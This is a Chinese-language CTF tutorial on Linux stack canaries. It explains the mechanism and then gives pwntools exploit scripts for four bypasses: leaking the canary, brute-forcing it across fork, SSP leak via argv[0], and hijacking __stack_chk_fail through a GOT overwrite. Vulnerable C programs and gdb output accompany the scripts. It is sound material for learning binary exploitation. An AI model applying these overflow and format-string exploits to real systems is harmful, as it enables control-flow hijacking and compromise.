简介
Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。
通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。
实现原理
开启 Canary 保护的 stack 结构大概如下:
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| local variables |
Low | |
Address
Canary是一种针对栈溢出攻击的防护手段,其基本原理是从内存中某处(一般是 fs: 0x28 处)复制一个随机数 canary ,该随机数会在创建栈帧时紧跟着 rbp 入栈,如下图所示:
在函数退栈返回前,程序会比对栈上的 canary副本 和原始的 canary ,若二者不同,则说明发生了栈溢出,这时程序会直接崩溃。
图中标出的两个代码块是实现 Canary 的关键代码。其中代码块1的功能是从 fs: 0x28 处读出随机数,并将随机数放入首地址为 rbp-8(EBP - 0x4(32位)或RBP - 0x8(64位))的内存空间中。 代码块2的功能则是对比原始canary (位于地址fs:0x28处)和副本canary (位于地址 rbp-8)处是否相等,若相等,则正常返回;否则调用函数 sub1070 ,使程序崩溃。
绕过
泄露栈中的 Canary
原理
Canary是以字节\x00结尾,这样的目的是能够保证canary能够截断字符串;这也给泄露带来了便利,可以通过覆盖canary低字节来打印剩余部分的canary。
条件
- 存在栈溢出漏洞
- 可以将栈中的可控变量输出
利用
32位:
代码:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
编译:
gcc -m32 -no-pie -g -o canary1 canary1.c
查看保护
qufeng@qufeng-virtual-machine:~/Desktop/CTF/pwn/stack/canary$ checksec canary1
[*] '/home/qufeng/Desktop/CTF/pwn/stack/canary/canary1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
首先gdb调试一下,由于buf只有100,在seadline发送时会加上0a,所以这里输入的时候输入99个a,这样就不会将0a溢出至canary
pwndbg> stack 50
00:0000│ esp 0xffffcf30 —▸ 0xf7fb2d20 (_IO_2_1_stdout_) ◂— 0xfbad2887
01:0004│ 0xffffcf34 ◂— 0x0
02:0008│ ecx 0xffffcf38 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
... ↓ 23 skipped
1a:0068│ 0xffffcf98 ◂— 'aaa\n'
1b:006c│ 0xffffcf9c ◂— 0xd2b3ec00 //canary
1c:0070│ 0xffffcfa0 —▸ 0x804a010 ◂— 'Hello Hacker!'
1d:0074│ 0xffffcfa4 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf08 (_DYNAMIC) ◂— 0x1
1e:0078│ ebp 0xffffcfa8 —▸ 0xffffcfb8 ◂— 0x0
1f:007c│ 0xffffcfac —▸ 0x804936d (main+58) ◂— 0xb8
20:0080│ 0xffffcfb0 —▸ 0xffffcfd0 ◂— 0x1
可以发现每次进程启动的canary值都不一样;现在需要将canary的值泄露出来,因为这里存在栈溢出和格式化字符串漏洞,这样可以将canary当作buf的一部分进行输出
构造exp:
#-*- codingLutf-8 -*-
from pwn import *
context(os='linux',arch='i386',log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('./canary1')
e = ELF('./canary1')
get_shell = e.sym['getshell']
#1 leak canary
p.recvuntil('Hello Hacker!')
payload = 'a'*100
p.sendline(payload)
p.recvuntil('a'*100)
canary = u32(p.recv(4))-0xa
log.info("Canary:"+hex(canary))
#bypass canary
payload = 'a'*100+p32(canary)+'a'*8+'a'*4+p32(get_shell)
p.sendline(payload)
p.interactive()
64位
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
back_door = 0x4011d6
""" ROPgadget --binary stackguard1 --only """pop|ret"|grep "rdi" """
pop_rdi_ret = 0x0401343
bin_sh = 0x402004
#p = process('./stackguard1')
p = remote('123.57.230.48',12344)
payload1 = '%11$p' # 泄露canary
p.sendline(payload1)
canary=int(p.recv(),16) # 接受canary
print canary
p.sendline('a'*0x28+p64(canary)+'a'*8+p64(back_door))
#gdb.attach(p,'b main')
p.interactive()
爆破Canary
原理
每次进程重启的Canary不同,但是同一个进程中的不同线程的Canary是相同的,并且通过fork创建的子进程的Canary是相同的
条件
与泄露Canary的条件一致,唯一的区别在于不存在合适的输出缓冲区字符串的函数
利用
查看保护:
qufeng@qufeng-virtual-machine:~/Desktop/CTF/pwn/stack/canary$ checksec bin1
[*] '/home/qufeng/Desktop/CTF/pwn/stack/canary/bin1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
分析程序:
查看main函数:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__pid_t v3; // [sp+Ch] [bp-Ch]@2
init();
while ( 1 )
{
v3 = fork(); //调用fork函数
if ( v3 < 0 )
break;
if ( v3 ) //父进程
{
wait(0);
}
else //子进程
{
puts("welcome");
fun(); //栈溢出漏洞存在这里
puts("recv sucess");
}
}
puts("fork error");
exit(0);
}
查看fun函数:
int fun()
{
char buf; // [sp+8h] [bp-70h]@1
int v2; // [sp+6Ch] [bp-Ch]@1
v2 = *MK_FP(__GS__, 20);
read(0, &buf, 0x78u); //栈溢出漏洞
return *MK_FP(__GS__, 20) ^ v2;
}
根据程序分析可以得到buf的大小为100
思路:看到程序开启了Canary和NX,然后程序中又有fork函数,可以利用爆破Canary来解决问题
# -*- coding:utf-8 -*-
from pwn import *
context(os='linux',arch='i386',log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('./bin1')
e = ELF('./bin1')
p.recvuntil('welcome\n')
canary = '\x00'
for i in range(3):
for i in range(256):
p.send('a'*100+canary+chr(i))
message = p.recvuntil('welcome\n')
if 'recv' in message:
canary+=chr(i)
break
getflag_addr = e.sym['getflag']
payload = 100*'a'+canary+8*'a'+4*'a'+p32(getflag_addr)
p.sendline(payload)
p.interactive()
如果canary不正确,就会输出检测到堆溢出的信息,如果canary正确,会输出成功信息,并继续下一字节的爆破,由于32位的canary有4字节,故需要爆破3次
SSP Leak
原理
当程序检测到栈溢出时,程序会执行 stack_chk_fail函数,而 stack_chk_fail函数作用是阻断程序继续执行,并输出argv[0]警告,而ssp攻击原理是通过输入足够长的字符串覆盖掉argv[0],这样就能让canary保护输出我们想要地址上的值。
注意:这个方法在glibc2.27及以上的版本中已失效
void
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}
void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg; {
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>")
}
libc_hidden_def (__fortify_fail)
上面是 stack_chk_fail()函数的源码,在libc_message函数中第二个%s输出的就是__libc_argv[0],argv[0]是指向第一个启动参数字符串的指针。我们可以利用栈溢出将其覆盖成我们想要泄露的地址,当程序触发到canary时就可以泄露我们想要的东西了。
条件
以上条件,不能爆破,不能泄露,glibc版本会输出argv[0]
两个需要寻找的东西:argv[0]与栈溢出的栈顶指针的偏移量(也可以不同,只需要在payload中填满泄露的地址);需要泄露数据的地址
利用
寻找偏移量:在main前下断点
0000| 0x7fffffffddd8 --> 0x7ffff7a2e830 (<__libc_start_main+240>: mov edi,eax)
0008| 0x7fffffffdde0 --> 0x0
0016| 0x7fffffffdde8 --> 0x7fffffffdeb8 --> 0x7fffffffe210 ("/home/qufeng/Desktop/CTF/pwn/stack/canary/bin2")
argv[0]的地址为0x7fffffffdeb8
在get函数前设置断点,查看此时栈顶的值:
gdb-peda$ b *0x000000000040080E
Breakpoint 2 at 0x40080e
gdb-peda$ p $rsp
$4 = (void *) 0x7fffffffdca0
偏移量:0x7fffffffdeb8-0x7fffffffdca0=0x218
# -*- coding:utf-8 -*-
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p = process('./bin2')
p = remote('pwn.jarvisoj.com',9877)
flag_addr = 0x400d21
payload = 'a'*0x218 + p64(flag_addr)
p.sendlineafter('your name? ',payload)
p.recv()
p.sendline()
p.interactive()
或:
payload = p64(flag_addr)*200
劫持__stack_chk_fail函数
原理
在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行,stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。利用方式就是通过格式化字符串漏洞来修改GOT表中的值。
条件
存在格式化字符串漏洞
利用
思路:先通过格式化字符串漏洞把__stack_chkfail函数对应的got表中的值修改成后门函数地址,在通过栈溢出触发_stack_chk_fail函数的执行从而触发后门函数
#-*- coding:utf-8 -*-
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process('./bin3')
e = ELF('./bin3')
system_addr = 0x40084e
stack_chk_fail_got_addr = e.got['__stack_chk_fail']
payload = 'a'*5 + '%' + str(system_addr&0xffff-5) + 'c%8$hn' + p64(stack_chk_fail_got_addr) + 'a'*100
p.sendlineafter('It\'s easy to PWN',payload)
p.interactive()
system_addr&0xffff的含义是取后门地址的两个低字节,然后通过$hn写入两个低字节即可。高字节部分后门函数地址和stack_chk_fail函数地址都是相同的。